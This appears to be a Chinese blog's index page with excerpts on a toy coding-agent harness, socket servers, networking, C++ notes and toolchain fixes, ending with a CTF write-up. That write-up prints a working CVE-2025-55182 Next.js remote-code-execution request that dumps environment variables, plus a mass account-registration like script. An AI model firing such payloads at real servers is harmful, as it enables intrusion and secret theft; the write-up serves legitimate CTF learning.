手写一个简单的 Claude Code
本文将带你手把手写一个简单的 Claude Code,以了解 harness 的基本原理。 openai 库 Chat Completions API 是由 OpenAI 提出的一套对话接口规范,很多模型厂商都选择兼容它(比如本文要用的 DeepSeek,接口格式和 OpenAI 几乎一模一样)。 在 Python 中,OpenAI 提供了一个叫 openai 的库,可以用来调用所有兼容该接口的模型,而不只是 OpenAI 自家的模型。 pip install openai 对话 单轮对话 以下是 DeepSeek 官方接口文档的单轮对话示例: import os from openai import OpenAI client = OpenAI( api_key=os.environ.get('DEEPSEEK_API_KEY'), base_url="https://api.deepseek.com") response = client.chat.completions.create( model="deepseek-v4-pro", messages=[ {"role": "system", "content": "You are a helpful assistant"}, {"role": "user", "content": "Hello"}, ], stream=False, # 非流式输出,一次性输出完整的响应 reasoning_effort="high", extra_body={"thinking": {"type": "enabled"}} # `thinking` 是 DeepSeek 官方额外提供的字段,原 API 并没有这一个设置 ) print(response.choices[0].message.reasoning_content) # 思考内容 print(response.choices[0].message.content) # 正文 多轮对话 上面一个单轮对话的例子,也就是说,LLM 本身并不存储上下文,需要你来记录上下文,在每一轮对话前提供给 LLM: # 第一轮对话 messages.append({'role': 'user', 'content': '你好呀,我叫 Alice'}) response = client.chat.completions.create( ... messages=messages ) messages.append(response.choices[0].message) # assistant: 你好呀,Alice!很高兴认识你 😊 # 第二轮对话 messages.append({'role': 'user', 'content': '我叫什么名字?'}) response = client.chat.completions.create( ... messages=messages ) messages.append(response.choices[0].message) # assistant: 你叫 Alice 呀~😄 刚才你告诉我的,我记得呢! 每次都把聊天记录附给 LLM,这样 LLM 就有了上下文。 ...
手写一个简单的 HTTP 服务器
本文将从 TCP socket 出发,用 Python 手把手实现一个最小可用的 HTTP 服务器。 什么是 socket? Socket(套接字)是操作系统提供给应用程序的网络通信接口,支持 TCP 和 UDP 协议。有了 socket,你只需要发送和接收数据,而无需关心底层网卡、路由等复杂细节。Python 也拥有操作 socket 的标准库,可以使用 socket 在 Python 中接收和发送数据。 客户端 Socket # 用 netcat 建立一个 TCP 服务器,只要连接上就会发送 Hello world! $ echo "Hello world!" | nc -lvnp 6767 import socket client_socket = socket.socket( socket.AF_INET, # 使用 IPv4 socket.SOCK_STREAM # 使用面向流的TCP协议 ) # 连接到 127.0.0.1:6767 client_socket.connect(('127.0.0.1', 6767)) # 一次性接收最大 1024 字节的数据 print(client_socket.recv(1024)) # b'Hello world!\r\n' 服务端 Socket import socket server_socket = socket.socket( socket.AF_INET, # 使用 IPv4 socket.SOCK_STREAM # 使用面向流的TCP协议 ) # 允许端口复用,避免重启时 "Address already in use" server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 绑定到 127.0.0.1:6767,此时还没有开始监听 server_socket.bind(('127.0.0.1', 6767)) # 开始监听,括号里填一个整数可以指定最大同时连接数 server_socket.listen() print('服务器正在运行') while True: # 重复等待连接 conn, addr = server_socket.accept() print(f'{ addr } 已连接') conn.sendall(b'Hello world!') # 发送完整的数据 conn.close() $ nc 127.0.0.1 6767 Hello world! HTTP 协议(摘自 MDN) HTTP 是一种用作获取诸如 HTML 文档这类资源的协议。它是 Web 上进行任何数据交换的基础,同时,也是一种客户端—服务器(client-server)协议,也就是说,请求是由接受方——通常是 Web 浏览器——发起的。完整网页文档通常由文本、布局描述、图片、视频、脚本等资源构成。 ...
网络是如何运作的
我一边学一边记,本文章持续更新。 网络的分层模型 网络的分层模型有两种,一种是 OSI 七层模型,一种是 TCP/IP 四层模型。 OSI 七层模型 层(由底层到表层) 描述 物理层 Physical 直接与物理介质打交道 数据链路层 Data Link 给数据打包、贴标签、检查、管理一段路上的交通,MAC 协议就是这层的 网络层 Network 决定数据的流动路径,IP 协议就是这层的 传输层 Transport 就是 TCP & UDP 所在的层,netcat 处理的那一层 会话层 Session 就是你用 socket 写聊天室时自己写的那个处理连接的流程控制的功能 表示层 Presentation 你自己写的聊天室中 socket 间的数据咋传输,可以是序列化、struct、json 的形式,也可以压缩、加密 应用层 Application HTTP、FTP、SMTP 等就是这层的 TCP/IP 四层模型 TCP/IP 被采用得最广泛,把 OSI 中的数据链路层和物理层看作一层,应用层、表示层、会话层看作一层。 层(由底层到表层) 描述 网络接口层 处理具体的物理传输(以太网、Wi-Fi)、MAC 寻址和硬件驱动。 网络层 Network 决定数据的流动路径,IP 协议就是这层的 传输层 Transport 就是 TCP & UDP 所在的层,netcat 处理的那一层 应用层 Application HTTP、FTP、SMTP 等就是这层的,或者自己写的网络程序 详细介绍 由于网络接口层不太熟悉,所以底层按照 OSI 分成两层讲;表层按照 TCP/IP 合并成应用层来讲。 ...
MinGW-w64 编译通过运行崩?Code Runner 踩坑记
症状 VS Code 里写了个 hello world: #include <iostream> using namespace std; int main() { cout << "Hello world!" << endl; return 0; } Ctrl+Alt+N(Code Runner)→ 编译通过 → 运行崩: [Done] exited with code=3221225477 in 1.097 seconds 退出的 3221225477 就是 0xC0000005,也就是 STATUS_ACCESS_VIOLATION——俗称段错误(segfault)。 一个 hello world 能 segfault,说明问题不在代码,在环境。 排查 第一坑:路径错了 看看编译器的实际位置: $ ls /d/Apps/mingw64/mingw64/bin/g++.exe 结果是 MinGW-w64 15.2.0(UCRT 版本),而我 Code Runner 里配的是 D:\Apps\TDM-GCC\bin\g++.exe——一个根本不存在的目录。 嗯,之前不知道哪个助手写进记忆里的,信了。 第二坑:运行时缺 DLL 路径改对后,编译确实过了,但运行还是崩。手动跑一下试试: $ g++ hello.cpp -o hello.exe -static-libgcc -fexec-charset=gbk $ ./hello.exe Segmentation fault 查一下编译产物依赖的 DLL: $ objdump -p hello.exe | grep "DLL Name" DLL Name: libstdc++-6.dll DLL Name: KERNEL32.dll DLL Name: api-ms-win-crt-environment-l1-1-0.dll DLL Name: api-ms-win-crt-heap-l1-1-0.dll ... 看到了吧——libstdc++-6.dll。这个 DLL 在 MinGW 的 bin 目录下,但不在系统的 PATH 里。运行时找不到它,直接崩。 ...
从 Vue + fetch 到现代 Web 架构:一次对话后的认知刷新
最近和 GLM 聊前端架构,被纠正了一堆自以为是的认知。之前我对前后端分离的理解基本停留在"后端写接口、前端 fetch 拿数据渲染"。聊完之后发现这四个点我之前全想错了。 URL 里的 # 号 一开始路由全是 localhost/#/user 这种带 # 的,以为 Vue Router 就这样。后来才知道这是 Hash 模式——默认值,不需要后端配合但 URL 丑。 换成 History 模式: // Vue Router const router = createRouter({ history: createWebHistory(), // 不是 createWebHashHistory() routes: [...] }) 改完访问 localhost/user 确实干净了,但一刷新就 404。因为浏览器把 /user 当成真实路径发给了后端,后端根本没这个路由。 Nginx 加一行兜底就解决了: location / { try_files $uri $uri/ /index.html; } 找不到对应文件就把请求还给前端入口,让 Vue Router 自己接管。这个组合才是 SPA 的标准玩法。 前后端分离不等于前端直接调后端 我之前理解的"前后端分离"就是:浏览器 fetch 后端 API,拿到 JSON 渲染。简单粗暴。 但像淘宝这种体量的网站不可能这么搞。实际架构是三层: 后端(Spring Boot / Go) → 管数据库和业务逻辑,不直接对着浏览器。 BFF 层(Node.js) → 把后端几十个零散接口聚合成前端一个页面需要的数据,该裁的裁、该拼的拼。 前端(Vue / React) → 只管交互和渲染。 ...
Oh My OpenAgent 只显示 plan/build 两个 Agent 的修复记录
问题 装了 oh-my-openagent 之后,opencode agent list 和执行 npx oh-my-openagent doctor 都显示正常,但 opencode TUI/Desktop 的 Agent 选择器里只显示 plan 和 build,没有 Sisyphus、Prometheus、Oracle 等 OMO Agent。 这个问题在官方仓库有多人在追踪: #3456 — “[Question]: installed OMO, reopen opencode can not find Sisyphus in agents” #3835 — “[Bug]: oh-my-openagent custom agents not showing in OpenCode Desktop UI after v1.14.x update” anomalyco/opencode#30855 — “Plugin-registered Agents Unavailable after Update Operation on Opencode Desktop” 原因分析 实际导致这个症状的原因有三种,严重程度递增: 原因一:配置作用域不匹配 OpenCode 的配置文件有两个层级: 作用域 路径 优先级 全局 ~/.config/opencode/opencode.json 低 项目本地 .opencode/opencode.json(启动目录下) 高 通过 npx oh-my-openagent install 安装时,写入的是全局配置。但如果启动 opencode 的工作目录下恰好存在 .opencode/opencode.json(哪怕只有简单几行),opencode 就会优先读这个本地配置,而本地配置可能没有注册插件。 ...
使用 SSH 建立 Socks5 代理
只要知道服务器的 IP 和 密码就能直接建立,不需要额外安装软件 在本地执行: ssh -D port user@passwd 然后输入密码连接,看上去跟平常使用 SSH 一样,但是在本地已经建立了一个连接到服务器的 Socks5 代理,这个时候更改代理为 Socks5 类型的代理:127.0.0.1:port 即可。
C++ String
创建 #include <string> // 注意不是 <string.h> string s; 转字符数组 string.data() 不保证末尾有空字符 string.c_str() 保证末尾有空字符,建议用这个 获取长度 string.size() string.length() strlen(string.c_str()) 注意! 这三个函数(以及下面将要提到的 find 函数)的返回值类型都是 size_t(unsigned long).因此,这些返回值不支持直接与负数比较或运算,建议在需要时进行强制转换. 查找 string.find(str, pos = 0) 查找字符串中一个字符/字符串在含 pos 之后第一次出现的位置,如果没有出现,则为 string::npos(类型为 size_t/unsigned long,需转换) 截取 string.substr(pos, len) 返回从 pos 位置开始截取最多 len 个字符组成的字符串 插入 string.insert(index, count, char) 在 index 处连续插入 count 个 char string.insert(index, str) 在 index 处插入 str 擦除 string.erase(index, count = string.length()) 将从含 index 开始的 count 个字符删除 替换 string.replace(pos, count, str) 将从含 pos 后面的 count 个字符替换为 str string.replace(first: iterator, last: iterator, str) 将以含 first 开始,不含 last 结束的字串替换为 str
C++ Vector
创建 vector #include <vector> vector<int> v0; // 创建一个初始空间为 3 的 vector,元素默认值为 0 vector<int> v1(3); // 创建一个初始空间为 3 的 vector,元素默认值是 2 vector<int> v2(3, 2); // 创建一个 v2 的拷贝 v3,元素内容和 v2 一样 vector<int> v3(v2); // 创建一个 v3 的拷贝到 v4,内容是 { v3[1], v3[2] },包前不包后; vector<int> v4(v3.begin() + 1, v3.begin() + 3); 元素访问 vector.at(pos) 返回 vector 中下标为 pos 的引用 vector[pos] 返回 vector 中下标为 pos 的引用,不执行越界检查 vector.front() 返回首元素的引用(vector.begin() 是迭代器,和这个不同) vector.back() 返回末元素的引用 (vector.end() 是迭代器,没有元素,和这个不同) vector.data() 返回首元素的指针(vector 的空间是连续的) 迭代器 vector.begin() 返回首元素的迭代器,*begin = front vector.end() 返回末元素的迭代器,没有元素 vector.rbegin() 返回指向逆向数组的首元素的迭代器,可以理解为正向容器的末元素 vector.rend() 返回指向逆向数组末元素后一位置的迭代器,对应容器首的前一个位置,没有元素 上述迭代器名前加上一个 c 为只读迭代器 长度和容量 注意,vector 的长度(size)指有效元素数量,而容量(capacity)指分配的内存长度 ...
2026 新春杯 WP
Web 够了够了,谢谢大家 写脚本注册 100 个账号并登录点赞,由于需要保持登录状态,所以需要用 requests.session() 来保持会话: import requests import time register_url = "http://175.27.251.122:33994/register.php" login_url = "http://175.27.251.122:33994/login.php" like_url = "http://175.27.251.122:33994/weechatt.php" for i in range(100): session = requests.session() response = session.post(register_url, data={ "username": f"user{i}", "password": "123456" }) time.sleep(0.3) session.post(login_url, data={ "username": f"user{i}", "password": "123456" }) time.sleep(0.3) session.post(like_url, data={ "like": "" }) time.sleep(0.3) Arknights_solver 看到提示“cve”,看下源码有哪些技术栈,发现用了 next.js,查一下应该是 CVE-2025-55182 漏洞。 抄一下 https://blog.csdn.net/lingggggaaaa/article/details/155617904 的有回显 poc,改一下: POST / HTTP/1.1 Host: 192.168.0.143:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 753 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('printenv',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- 我试过 cat /flag,发现没有这个文件, find 了一下也没有,试试 printenv,在环境变量里找到了 flag ...